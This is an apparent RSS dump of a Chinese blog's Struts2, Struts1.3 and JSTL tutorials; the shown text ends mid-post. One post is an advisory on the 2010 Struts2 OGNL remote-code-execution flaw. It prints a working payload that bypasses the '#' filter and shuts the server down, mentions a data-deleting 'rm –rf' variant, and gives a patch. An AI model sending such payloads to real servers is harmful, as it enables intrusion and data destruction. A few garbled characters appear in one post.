BlogJava-壹咪阳光-随笔分类-struts2/struts1.3/JSFhttp://www.blogjava.net/ywj-316/category/42582.htmlzh-cnTue, 31 May 2011 01:23:56 GMTTue, 31 May 2011 01:23:56 GMT60JSF入门http://www.blogjava.net/ywj-316/archive/2011/05/30/351363.htmljunlyjunlyMon, 30 May 2011 13:48:00 GMThttp://www.blogjava.net/ywj-316/archive/2011/05/30/351363.htmlhttp://www.blogjava.net/ywj-316/comments/351363.htmlhttp://www.blogjava.net/ywj-316/archive/2011/05/30/351363.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/351363.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/351363.html阅读全文

junly 2011-05-30 21:48 发表评论
]]>Struts2 自定义标签的方法http://www.blogjava.net/ywj-316/archive/2011/05/30/351362.htmljunlyjunlyMon, 30 May 2011 13:43:00 GMThttp://www.blogjava.net/ywj-316/archive/2011/05/30/351362.htmlhttp://www.blogjava.net/ywj-316/comments/351362.htmlhttp://www.blogjava.net/ywj-316/archive/2011/05/30/351362.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/351362.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/351362.htmlStruts2 的UITag原理：
Struts2 UITag分三部份组成，一部份用于定义Tag的内容与逻辑的UIBean，一部份用于定义JSP Tag，也就是平时我们定义的那种，最后就是Template，它存放在你的theme目录之下，是一个FreeMarker模板文件。

我现在辑写一份MMTag，它主要是用于输出带链接的文字，比如像这样：
<cur:mm message="'I am a boy.'" />
就会输出：
<a href="http://www.blogjava.net/natlive">I am boy.</a>

我们先写UIBean部份：我们把它定义为MM，它继承于 org.apache.struts2.components.UIBean：

package limitstudy.corestruts2.tag;

import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
    private String message;

    public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        super(stack, request, response);
    }

    @Override
    protected String getDefaultTemplate() {
        return "mm";
    }

    @StrutsTagAttribute(description="set message", type="String")
    public void setMessage(String message) {
        this.message = message;
    }

    @Override
    protected void evaluateExtraParams() {
        super.evaluateExtraParams();

        if (null != message) {
            addParameter("message", findString(message));
        }
    }
}


* strutsTag注解指明了该UIBean的名字 和Tag类的类名。
* getDefaultTemplate()方法用于返回模板的名 字，Struts2会自动在后面加入.ftl扩展名以找到特定的模板文件。
* setXXX，设置UIBean的属性，一般Tag中有几个这样的属性，这里就有几个。@StrutsTagAttribute(description="set message", type="String") 注解，说明该属性是字符串（也可以是其它），这一步很重要。
* 覆写evaluateExtraParams（） 方法，在UIBean初始化后会调用这个方法来初始化设定参数，如addParameter方法，会在freemarker里的parameters里加 入一个key value。这里要注意findString，还有相关的findxxxx方法，它们是已经封装好了的解释ognl语法的工具，具体是怎么样的，大家可以 查看一下UIBean的api doc。

然后是Tag部份：

package limitstudy.corestruts2.tag;

import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MMTag extends AbstractUITag {
    private String message;

    @Override
    public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
        return new MM(stack, request, response);
    }

    @Override
    protected void populateParams() {
        super.populateParams();

        MM mm = (MM)component;
        mm.setMessage(message);
    }

    public void setMessage(String message) {
        this.message = message;
    }
}


* getBean（）返回该Tag中的UIBean。
* populateParams()初始化参数，一般用来初始化UIBean(Component)。
* setXXXX设置属性，和jsp tag是一样的。

在/WEB-INF/tlds/下建立current.tld文件（文名随你喜欢）：

<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <description>test</description>
    <tlib-version>2.0</tlib-version>
    <short-name>cur</short-name>
    <uri>/cur</uri>

    <tag>
        <name>mm</name>
        <tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
        <body-content>JSP</body-content>
        <attribute>
            <name>message</name>
            <required>true</required>
        </attribute>
    </tag>
</taglib>


在源代码目录中建立template/simple目录（这个目录名和你的theme有关），然后在里面建一个 mm.ftl文件：

<a href="http://www.yinsha.com">${parameters.message?html}</a>


建一个action测试一下，视图文件：

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
    <title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>


完。

PS： 写得有些粗鄙，所以，如有问题的，可以留言。

 

 

 

http://devilkirin.javaeye.com/blog/427395

http://xiaojianhx.javaeye.com/blog/482888


junly 2011-05-30 21:43 发表评论
]]>标签备忘http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.htmljunlyjunlyMon, 22 Nov 2010 02:41:00 GMThttp://www.blogjava.net/ywj-316/archive/2010/11/22/338668.htmlhttp://www.blogjava.net/ywj-316/comments/338668.htmlhttp://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/338668.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/338668.html 
A：
<s:a href=""></s:a>-----超链接，类似于html里的<a></a>
<s:action name=""></s:action>-----执行一个view里面的一个action
<s:actionerror/>-----如果action的errors有值那么显示出来
<s:actionmessage/>-----如果action的message有值那么显示出来
<s:append var="newMerList">-----添加一个值到list，类似于list.add();
 <s:param value="merList1"></s:param>   
 <s:param value="merList2"></s:param>   
</s:append>

<s:autocompleter></s:autocompleter>-----自动完成<s:combobox>标签的内容，这个是ajax

B：
<s:bean name=""></s:bean>-----类似于struts1.x中的，JavaBean的值

C：
<s:checkbox></s:checkbox>-----复选框
<s:checkboxlist list=""></s:checkboxlist>-----多选框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----图像符号

D：
<s:date name="time" format="yyyy/MM/dd"/>-----获取日期格式
<s:datetimepicker></s:datetimepicker>-----日期输入框
<s:debug></s:debug>-----显示错误信息
<s:div></s:div>-----表示一个块，类似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
 chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}

E：
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----这3个标签一起使用，表示条件判断

F：
<s:fielderror></s:fielderror>-----显示文件错误信息
<s:file></s:file>-----文件上传
<s:form action=""></s:form>-----获取相应form的值

G：
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
 <s:iterator>   
  <s:property/>   
    </s:iterator>
</s:generator>----和<s:iterator>标签一起使用


H：
<s:head/>-----在<head></head>里使用，表示头文件结束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隐藏值

I：
<s:i18n name=""></s:i18n>-----加载资源包到值堆栈
<s:include value=""></s:include>-----包含一个输出，servlet或jsp页面
<s:inputtransferselect list=""></s:inputtransferselect>-----获取form的一个输入
<s:iterator value="userlist" var="user" status="s">
 <s:if test="#s.index == 0">
  <s:property value="name"/>
 </s:if>
 <s:property value="#s.even"/>
    <s:property value="#s.odd"/>  
 <s:property value="#s.first"/> 
 <s:property value="#s.last"/> 
 <s:property value="#s.count"/> 
</s:iterator>-----用于遍历集合
<s:if test="#list.size > 0 "></s:if>-----判断 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">

L：
<s:label></s:label>-----只读的标签

M：
<s:merge></s:merge>-----合并遍历集合出来的值

O：
<s:optgroup></s:optgroup>-----获取标签组
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右选择框

P：
<s:param name="pageSize" value="pageSize"/></s:param>-----为其他标签提供参数
<s:password></s:password>-----密码输入框
<s:property value="user.name" />-----得到'value'的属性
<s:push value=""></s:push>-----value的值push到栈中,从而使property标签的能够获取value的属性

R：

<s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"></s:radio>-----单选按钮
<s:reset></s:reset>-----重置按钮

S：
<s:select list=""></s:select>-----单选框
<s:set name=""></s:set>-----赋予变量一个特定范围内的值
<s:sort comparator=""></s:sort>-----通过属性给list分类
<s:submit></s:submit>-----提交按钮
<s:subset source="#subList" start="1" count="2">-----为遍历集合输出子集 
 <s:iterator>   
  <s:property/> 
 </s:iterator>   
</s:subset>


T：
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域输入框
<s:textfield></s:textfield>-----文本输入框
<s:token></s:token>-----拦截器
<s:tree></s:tree>-----树
<s:treenode label=""></s:treenode>-----树的结构

U：
<s:updownselect list=""></s:updownselect>-----多选择框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----创建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">            
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>      
<s:param name="sex" value="user.sex"/>                                    
</s:url>

 

 

JSTL语法及参数   
JSTL包含以下的标签:   
常用的标签：如<c:out>、<c:remove>、<c:catch>、<c:set>等   
条件标签：如<c:if><c:when>、<c:choose>、<c:otherwise>等   
URL标签：如<c:import>、<c:redirect>和<c:url>等   
XML标签：如<xml:out>等   
国际化输出标签：如<fmt:timeZone>等   
SQL标签：如<sql:query>、<sql:update>、<sql:transaction>等   
 
一般用途的标签:   
1．<c:out>   
没有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>   
有Body时的语法   
<c:out value=”value” [escapeXml=”{true|false}”]>   
这里是Body部分   
</c:out>   
 
名字 类型 描述   
value Object 将要输出的表达式   
escapeXml boolean 确定以下字符:<,>,&,’,”在字符串中是否被除数，默认为true   
default Object 如果vaule计算后的结果是null，那么输出这个默认值   

2．<c:set>   
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值，或者设定某个已经存在的javabean对象的属性。他类似于<%request.setAttrbute(“name”,”value”);%>   
语法1：使用value属性设定一个特定范围中的属性。   
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>   
语法2：使用value属性设定一个特定范围中的属性，并带有一个Body。   
<c:set var=”varName” [scope=”{page|request|session|application}”]>   
Body部分   
</c:set>   
语法3：设置某个特定对象的一个属性。   
<c:set value=”value” target=”target” property=”propertyName”/>   
语法4：设置某个特定对象的一个属性，并带有一个Body。   
<c:set target=”target” property=”propertyName”>   
Body部分   
</c:set>   
 
名字 类型 描述   
value Object 将要计算的表到式。   
var String 用于表示value 值的属性，如果要在其他标签中使用，就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量，并且这个变量只能在标签中的一个。   
scope String var的有效范围，可以是page|request|session|application中的一个   
target String 将要设置属性的对象，它必须是javabean或则java.util.Map对象   
property Object 待设定的Target对象中的属性名字，比如在javabean中有个name属性，提供了setUserId方法，那么这里填userId。    
 
3．<c:remove>   
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>    
 
4．<c:catch>   
这个标签相当于捕获在它里边的标签抛出的异常对象   
<c:catch [var=”varName”]> //var是异常的名字   
内容   
</c:catch>    
 
条件标签   
1． <c:if>   
语法1：无Body情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>   
语法2：有Body的情况   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>   
Body内容   
</c:if>   
 
名字 类型 描述   
test Boolean 表达式的条件，相当于if()中的条件判断语句。   
var String 表示这个语句的名字。   
scope String var这个变量的作用范围。    
 
2．<c:choose>   
语法：<c:choose>   
Body内容(<c:when>和<c:otherwise>子标签)   
</c:choose>   
注意：它的Body只能由以下元素组成:   
1) 空格   
2) 0或多个<c:when>子标签，<c:when>必须在<c:otherwise>标签之前出现.   
3) 0个或多个<c:otherwise>子标签。   
<c:choose>
   <c:when test="${param.age>70}">
   欢迎老年人
   </c:when>
   <c:when test="${param.age<70 and param.age>35}">
   欢迎中年人
   </c:when>
   <c:otherwise>
   您的年龄有误!
   </c:otherwise>
</c:choose>
 
3．<c:when>   
代表的是<c:choose>的一个条件分支,只能在<c:choose>中使用   
语法：<c:when test=”testCondition”> //test是boolean类型,用于判断条件真假   
Body语句   
</c:when>    
 
4．<c:otherwise>   
代表的是<c:choose>中的最后选择。必须在最后出现   
<c:otherwise>   
内容   
</c:otherwise>    
 
迭代标签   
1．<c:forEach>   
语法1：在Collection中迭代   
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
语法2：迭代固定的次数.   
<c:forEach [var=”varName”] [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body内容   
</c:foeEach>   
 
名字 类型 描述   
var String 迭代的参数，它是标签参数，在其他标签中通过它来引用这个标签中的内容。   
Items Collection、ArrayList、 要迭代的items集合.   
Iterator、Map、String、   
Eunmeration等   
VarStatus String 表示迭代的状态，可以访问迭代自身的信息   
Begin int 表示开始迭代的位置。   
End int 表示结束迭代的位置。   
Step int 表示迭代移动的步长，默认为1。    
 
URL相关的标签   
1．<c:import>   
语法1：资源的内容使用String对象向外暴露   
<c:import url=”url” [context=”context”]   
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>   
内容   
</c:import>   
 
语法2：资源的内容使用Reader对象向外暴露。   
<c:import url=”url” [context=”context”]   
varReader=”varReaderName” [charEncoding=”charEncoding”]>   
内容   
</c:import>   
名字 类型 描述   
url String 待导入资源的URL，可以是相对路径和绝对路径，并且可以导入其他主机资源   
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字。   
var String 参数的名字。   
scope String var参数的作用范围。   
cahrEncoding String 输入资源的字符编码。   
varReader String 这个参数的类型是Reader,用于读取资源。    
 
2．<c:redirct>   
语法1:没有Body的情况.   
<c:redirect url=”value” [context=”context”]/>   
语法2：有Body情况下，在Body中指定查询的参数   
<c:redirect url=”value” [context=”context”]>   
<c:param name=”name” value=”value”/>   
</c:redirect>    
 
3．<c:url>   
语法1：没有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>   
语法2：有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>   
<c:param name=”name” value=”value”/>   
</c:url>   
 
名字 类型 描述   
value String URL值   
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字   
var String 标识这个URL标量。   
Scope String 变量作用范围。    
 
SQL相关的标签   
1．<sql:setDataSource>   
2．<sql:query>   
3．<sql:update>   
4．<transaction>   
5．<param>



junly 2010-11-22 10:41 发表评论
]]>米struts2的用户请注意这个超级安全漏洞http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.htmljunlyjunlyFri, 30 Jul 2010 10:15:00 GMThttp://www.blogjava.net/ywj-316/archive/2010/07/30/327596.htmlhttp://www.blogjava.net/ywj-316/comments/327596.htmlhttp://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html#Feedback3http://www.blogjava.net/ywj-316/comments/commentRss/327596.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/327596.html exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍：
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为：
Java代码
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样：
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有权限就可以删除任何一个目录。


目前的解决方法如下，官方的出了补丁的，可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前２．１．８的最新版本的，可以下载其中这个补丁修补，
而如果你的版本是低于２．１．８的，可以去下载xwork-2.XX.JAR对应的源代码（本来想反编译ＪＡＲ的，发现还是找源代码好），
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下：
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }

junly 2010-07-30 18:15 发表评论
]]>Struts 2的配置文件􃕂􁭛􀓊􂱘􄜡􃕂􁭛􀓊http://www.blogjava.net/ywj-316/archive/2010/03/05/314565.htmljunlyjunlyFri, 05 Mar 2010 02:24:00 GMThttp://www.blogjava.net/ywj-316/archive/2010/03/05/314565.htmlhttp://www.blogjava.net/ywj-316/comments/314565.htmlhttp://www.blogjava.net/ywj-316/archive/2010/03/05/314565.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/314565.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/314565.html1 配置Action的struts.xml 􁭛􀓊􀇄

<struts>
    <!-- Struts 2的Action都必须配置在package里-->
    <package name="default" extends="struts-default">
<!-- 定义一个Logon的Action实现类为lee.Logon -->
<action name="Logon" class="lee.Logon">
<!--配置Action返回input时转入/pages/Logon.jsp页面-->
<result name="input">/pages/Logon.jsp</result>
<!--配置Action返回cancel时重定向到Welcome的Action-->
<result name="cancel" type="redirect-action">Welcome</result>
<!--配置Action返回success时重定向到MainMenu的Action -->
<result type="redirect-action">MainMenu</result>
<!--配置Action返回expired时进入ChangePassword的Action连-->
<result name="expired" type="chain">ChangePassword</result>
</action>
<!--定义Logoff的Action实现类为lee.Logoff -->
<action name="Logoff" class=" lee.Logoff">
<!--配置Action返回success重定向到MainMenu的Action -->
<result type="redirect-action">Welcome</result>
</action>
</package>
</struts>
2 配置Struts 2 全局属性的struts.properties 􁭛􀓊􀇄
#指定Struts 2处于开发状态 􀻘􀑢􁓔􀦥􂢊􁗕
struts.devMode = false
#指定当Struts 2配置文件改变后，Web框架是否重新加载Struts 2配置文件 􄜡􃕂􁭛􀓊
struts.configuration.xml.reload=true
3 编辑Web 应用的web.xml配置文件，配置Struts 2 的核心Filter􀇄
<?xml version="1.0" encoding="GBK"?>
<!-- web-app是Web应用配置文件的根元素，提定Web应用的Schema信息-->
<web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.
com/xml/ns/j2ee/web-app_2_4.xsd">
<!--定义Struts 2的FilterDispatcher的Filter -->
<filter>
<!-- 定义核心Filter的名字-->
<filter-name>struts2</filter-name>
<!--典定义核心Filter的实现类 -->
<filter-class>org.apache.Struts2.dispatcher.FilterDispatcher
</ filter-class>
<init-param>
<!--配置Struts 2框架默认加载的Action包结构-->
<param-name>actionPackages</param-name>
<param-value>org.apache.struts2.showcase.person</param-value>
</init-param>
<!--配置Struts 2框架的配置提共者类-->
<init-param>
<param-name>configProviders </param-name>
<param-value>lee.MyConfigurationProvider</param-value>
</init-param>
</filter>
<!-- FilterDispatcher用来初始化Struts 2并且处理所有的Web请求-->
<filter-mapping>
<filter-name>Struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
三个有特殊意义的初始化参数：
(1) config:参数值是以（，）号隔开的字符串，每个字符串都是一个xml配置文件的位置。Struts2框架将自动加载这些配置文件。
(2) actionPackages:参数值是以（，）号隔开的字符串，每个字符串都是一个包空间，Struts2框架将扫描这些包空间下的Action类。
(3) configProviders:如果用户需要实现自已的ConfigurationProvider类，用户可以提供一个或多个实现了ConfigurationProvider接口的类，然后将这些类的类名设置成该属性的值，多个类名这间以（,）隔开。
(4) 还可以在些配置常量，其中<param-name>子元素指定常量name,而<param-value>指定常量value.

4 在web.xml文件中配置加载Struts 2标签库
<!--手动配置Struts 2的标签库-->
<taglib>
<!--配置Struts 2标签库的URI -->
<taglib-uri>/s</taglib-uri>
<!--指定Struts 2标签库定义文件的位置-->
<taglib-location>/WEB-INF/struts-tags.tld</taglib-location>
</taglib>
注意：Servlet2.4以上的规范，无需在web.xml文件中配置标签库定义，因为Servlet2.4规范会自动加载该标签库文件。
5 文件结构
Struts2qs
|-WEB-INF
|         |-classes(struts.xml)
|         |-lib(commons-logging.jar􀋈freemarker.jar􀋈ognl.jar􀋈struts2-core.jar􀋈xwork.jar)
|         |-web.xml
|-login.jsp

6 将struts.xml配置文件分解成多个配置文件，模块化管理
<?xml version="1.0" encoding="UTF-8" ?>
<!-- 指定Struts 2 配置文件的DTD信息-->
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<!--下面是Struts 2配置文件的根元素-->
<struts>
<!--通过include元素导入其他配置文件-->
<include file="struts-part1.xml" />

</struts>

7 包空间的继承
<!--指定Struts 2 配置文件的根元素 -->
<struts>
<!-- 配置名为lee的包空间，继承struts-default包空间-->
<package name="lee" extends="struts-default">

</package>
</struts>
8 可插拔的方式来安装插件
配置struts2与spring框架，只要将struts2-spring-plugin2.06.jar文件放在WEB-INF/lib路径下，Struts2框架将自动加载该文件


junly 2010-03-05 10:24 发表评论
]]>struts2 error:No result defined for action and result input http://www.blogjava.net/ywj-316/archive/2010/01/14/309516.htmljunlyjunlyThu, 14 Jan 2010 11:50:00 GMThttp://www.blogjava.net/ywj-316/archive/2010/01/14/309516.htmlhttp://www.blogjava.net/ywj-316/comments/309516.htmlhttp://www.blogjava.net/ywj-316/archive/2010/01/14/309516.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/309516.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/309516.html 首先
查看struts的XML中对应action里配置是否有<result name="input">/AddProducts.jsp</result>
如果有说明在拦截图器链中某个拦截器出错，大多情况下是
数据类型转换错误！

junly 2010-01-14 19:50 发表评论
]]>struts1.3-自定义exceptionhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304201.htmljunlyjunlyMon, 30 Nov 2009 00:17:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304201.htmlhttp://www.blogjava.net/ywj-316/comments/304201.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304201.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304201.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304201.html1 自定义异常类 SystemException.java

public class SystemException extends RuntimeException{
 //自定义key
 private String key;
 //自定义参数
 private Object[] values;

 //实现父类的构造方法
 public SystemException() {
  super();
 }

 public SystemException(String message, Throwable cause) {
  super(message, cause);
 }


 public SystemException(String message) {
  super(message);
 }


 public SystemException(Throwable cause) {
  super(cause);
 }

 //自定义构造方法
 public SystemException(String message, String key) {
  super(message);
  this.key=key;
 }

 //自定义构造方法,带一个参数
 public SystemException(String message, String key,Object value) {
  super(message);
  this.key=key;
  this.values=new Object[]{value};
 }
 
 //自定义构造方法,带多个参数
 public SystemException(String message, String key,Object[] values) {
  super(message);
  this.key=key;
  this.values=values;
 }
 
 //相应的get方法
 public String getKey() {
  return key;
 }

 public Object[] getValues() {
  return values;
 }
}
2 自定义异常处理器 SystemExceptionHandler.java

//作用：截获SystemException，并根据SystemException中的信息动态创建ActionMessage等这些错误信息，
        将其存在request中
public class SystemExceptionHandler extends ExceptionHandler{

 /**
  * 处理SystemException异常
  */
 @Override
 public ActionForward execute(Exception ex,//抛出的异常
         ExceptionConfig config,//struts-config.xml中的配置信息
         ActionMapping mapping,
          ActionForm form,
         HttpServletRequest request,
         HttpServletResponse response) throws ServletException {
  
  ActionForward forward=null;
  //创建ActionForward
  if(config.getPath()!=null){
   //有path属性，则根据path创建
   forward=new ActionForward(config.getPath());
  }else {
   //没有path属性，则根据input属性创建
   forward=mapping.getInputForward();
  }
  if(ex instanceof SystemException){
   SystemException se=(SystemException)ex;
   //key可有可无，所以取出key进行判断
   String key=se.getKey();
   ActionMessage error=null;
   //如果自定义的key为空，用struts的
   if(key==null){
    //拿出error.default和message,创建ActionMessage对象
    error=new ActionMessage(config.getKey(),se.getMessage());
   }else {
    //如果自定义的key有值
    if(se.getValues()!=null){
     error=new ActionMessage(key,se.getValues());
    }else {
     //如果自定义的key有值，则根据key创建ActionMessage对象
     error=new ActionMessage(key);
    }
   }
   //将这个ActionMessage放到request中。key为自定义的，error为ActionMessage对象
   //forward是要转到什么地方，根据path属性创建。"request"为scope的一个，也可以
   //用config.getScope()
   this.storeException(request, key, error, forward, config.getScope());
   return forward;
  }
  return super.execute(ex, config, mapping, form, request, response);
 }
}


3 编写配置文件 struts-config.xml

<global-exceptions>
   <exception key="error.default"
        type="java.lang.Exception"
        scope="request"
        path="/common/exception.jsp"
    <!-- 自定义的异常处理类 -->
        handler="org.oa.common.SystemExceptionHandler"/>
</global-exceptions>

4 编写资源文件 ApplicationResources.properties

error.default={0}
error.org.del=Can't Del Orgnation,id is {0}!

5 业务代码

throw new org.oa.common.SystemException("存在子机构，不允许删除！","error.org.del",org.getOname());



junly 2009-11-30 08:17 发表评论
]]>struts1.3-其他http://www.blogjava.net/ywj-316/archive/2009/11/30/304199.htmljunlyjunlyMon, 30 Nov 2009 00:16:00 GMThttp://www.blogjava.net/ywj-316/archive/2009/11/30/304199.htmlhttp://www.blogjava.net/ywj-316/comments/304199.htmlhttp://www.blogjava.net/ywj-316/archive/2009/11/30/304199.html#Feedback0http://www.blogjava.net/ywj-316/comments/commentRss/304199.htmlhttp://www.blogjava.net/ywj-316/services/trackbacks/304199.html 面向请求驱动：
struts1.x,struts2.x,WebWork
面向事件驱动的(JSF)
--------------------------------------
struts空字段测试
<input type="text" name="username"\>
ActionForm中有：
private String username;
private String password;
页面取得值：
<%=form.getUserName()%>//结果：
<%=form.getPassWord()%>//结果：null
${requestScope.userActionForm.username}//结果：
${requestScope.userActionForm.password}//结果：
----------------------------------------------------
java国际化
1 了解缺省Locale是由操作系统决定的，Locale是由语言和国家代码组成
2 国际化资源文件是由baseName+locale组成，一般在src目录下就可以了，如：MessageBundle_en_US.properties
baseName是任意合法的文件名
3 native2ascii命令的位置和用法
  * 位置：java_home/bin
  * 使用native2ascii.exe o.properties MessagesBundle_zh_CN.properties
  * DOS
    D:\>native2ascii -encoding gb2312 aaa.txt bbb.txt
------------------------------------------------------------------
struts国际化
1 在struts-config.xml文件中加入：<message-resources parameter="MessageResources"/>
  注意：文件默认放在根src下，如入在其他目录下.
  如:res目录下用"."连接<message-resources parameter="res.MessageResources"/>
2 提供不同版本的国际化文件，中文需要采用native2ascii转换成unicode
MessageResources_en_US.properties文件
user.login.success={0},Login Success
user.title=User Login
user.name=User Name
user.password=Password
user.button.login=Login
MessageResources_zh_CN.properties文件
